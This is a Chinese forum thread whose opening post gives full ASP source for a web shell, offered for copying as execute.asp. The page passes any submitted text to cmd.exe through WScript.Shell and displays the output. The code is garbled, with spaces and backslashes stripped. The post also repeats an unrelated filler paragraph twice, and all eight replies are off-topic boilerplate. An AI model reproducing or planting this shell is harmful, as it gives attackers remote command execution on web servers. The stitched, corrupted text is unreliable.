仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 613|回复: 8
打印 上一主题 下一主题

[学习教程] ASP网页编程之能够这行体系命令的ASP原码抓紧

[复制链接]
小女巫 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:13:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
实现规模效益。与传统的用户拥有硬件软件所有权和使用权以及传统的应用服务商提供一对一的服务模式不同,ASP拥有应用系统所有权,用户拥有使用权,应用系统集中放在ASP的数据中心中,集中管理,分散使用,以一对多的租赁的形式为众多用户提供有品质保证的应用技术服务,实现规模效益。注重的是,程序运转必需有FileSystemObject撑持。以下是远程实行命令的原代码。
copy上去另存为execute.asp.
<html>
<head>
<metahttp-equiv="Content-Language"content="zh-cn">

<metahttp-equiv="Content-Type"content="text/html;charset=gb2312">
<metaname="GENERATOR"content="MicrosoftFrontPage4.0">
<metaname="ProgId"content="FrontPage.Editor.Document">
<title>实行命令</title>
<style>
<!--
table,body{font-family:宋体;font-size:9pt}
a{font-family:宋体;font-size:9pt;color:rgb(0,32,64);
text-decoration:none}
a:hover{font-family:宋体;color:rgb(255,0,0);text-decoration:none
}
a:visited{color:rgb(128,0,0)}
-->
</style>
</head>
<bodybgcolor="#000000"text="#C0C0C0">
<formmethod="POST"action="execute.asp">
<palign="left">输出要实行的命令:<inputtype="text"name="ml"
size="20"value="dirc:"style="background-color:#C0C0C0;color:
#000000;border-style:solid;border-width:1">
<inputtype="submit"value="实行"name="B1"style="background-color:
#C0C0C0;color:#000000;border:1groove#C0C0C0"></p>
</form>
<%
ml=request.form("ml")
cmd="c:winntsystem32cmd.exe/c"&ml&">c:whoamI.txt"修正
whoamI.txt路径到一个有写权限的目次
SetWShShell=Server.CreateObject("WScript.Shell")
RetCode=WShShell.Run(cmd,1,True)
ifRetCode=0Then
Response.writeml&" "
Response.write"命令乐成实行!"&"<br><br>"
else
Response.write"命令实行失利!权限不敷大概该程序没法在DOS形态下运转
!"&"<br><br>"
endif
response.writecmd
functionhtmlencode(str)
dimresult
diml
ifisNULL(str)then
htmlencode=""
exitfunction
endif
l=len(str)
result=""
dimi
fori=1tol
selectcasemid(str,i,1)
case"<"
result=result+"<"
case">"
result=result+">"
casechr(34)
result=result+"""
case"&"
result=result+"&"
caseelse
result=result+mid(str,i,1)
endselect
next
htmlencode=result
endfunction
Setfs=CreateObject("Scripting.FileSystemObject")
Setthisfile=fs.OpenTextFile("c:/whoamI.txt",1,False)读文件,别忘
了修正路径.
counter=0
dowhilenotthisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.writethisline&"<br>"
loop
thisfile.Close
setfs=nothing
%>
</body>
</html>
请勿将此程序用于不法路子,由此引发的统统成果由利用者承当。
实现规模效益。与传统的用户拥有硬件软件所有权和使用权以及传统的应用服务商提供一对一的服务模式不同,ASP拥有应用系统所有权,用户拥有使用权,应用系统集中放在ASP的数据中心中,集中管理,分散使用,以一对多的租赁的形式为众多用户提供有品质保证的应用技术服务,实现规模效益。
不帅 该用户已被删除
沙发
发表于 2015-1-19 05:10:21 | 只看该作者
用户端的浏览器不需要提供任何别的支持,这样大提高了用户与服务器之间的交互的速度。
精灵巫婆 该用户已被删除
板凳
发表于 2015-1-26 23:09:32 | 只看该作者
如何更好的使自己的东西看上去很不错等等。其实这些都不是问题的实质,我们可以在实践中不断提升自己,不断充实自己。
第二个灵魂 该用户已被删除
地板
发表于 2015-2-5 00:05:19 | 只看该作者
下面简单介绍一下我学习ASP的方法,希望对想学习ASP的朋友有所帮助...
山那边是海 该用户已被删除
5#
发表于 2015-2-10 23:58:30 | 只看该作者
如何学好ASP,以前也有人问过,把回答给你转过来看看能否对你有帮助:
因胸联盟 该用户已被删除
6#
发表于 2015-3-1 18:16:50 | 只看该作者
我认为比较好的方法是找一些比较经典的例子,每个例子比较集中一种编程思想而设计的。
冷月葬花魂 该用户已被删除
7#
发表于 2015-3-10 21:52:32 | 只看该作者
Application:这个存储服务端的数据,如果不清除,会直到web应用程序结束才清除(例如重启站点)
爱飞 该用户已被删除
8#
发表于 2015-3-17 11:09:42 | 只看该作者
如何更好的使自己的东西看上去很不错等等。其实这些都不是问题的实质,我们可以在实践中不断提升自己,不断充实自己。
再见西城 该用户已被删除
9#
发表于 2015-3-24 08:42:48 | 只看该作者
Response:从字面上讲是“响应”,因此这个是服务端向客户端发送东西的,例如Response.Write
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-9-21 05:50

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表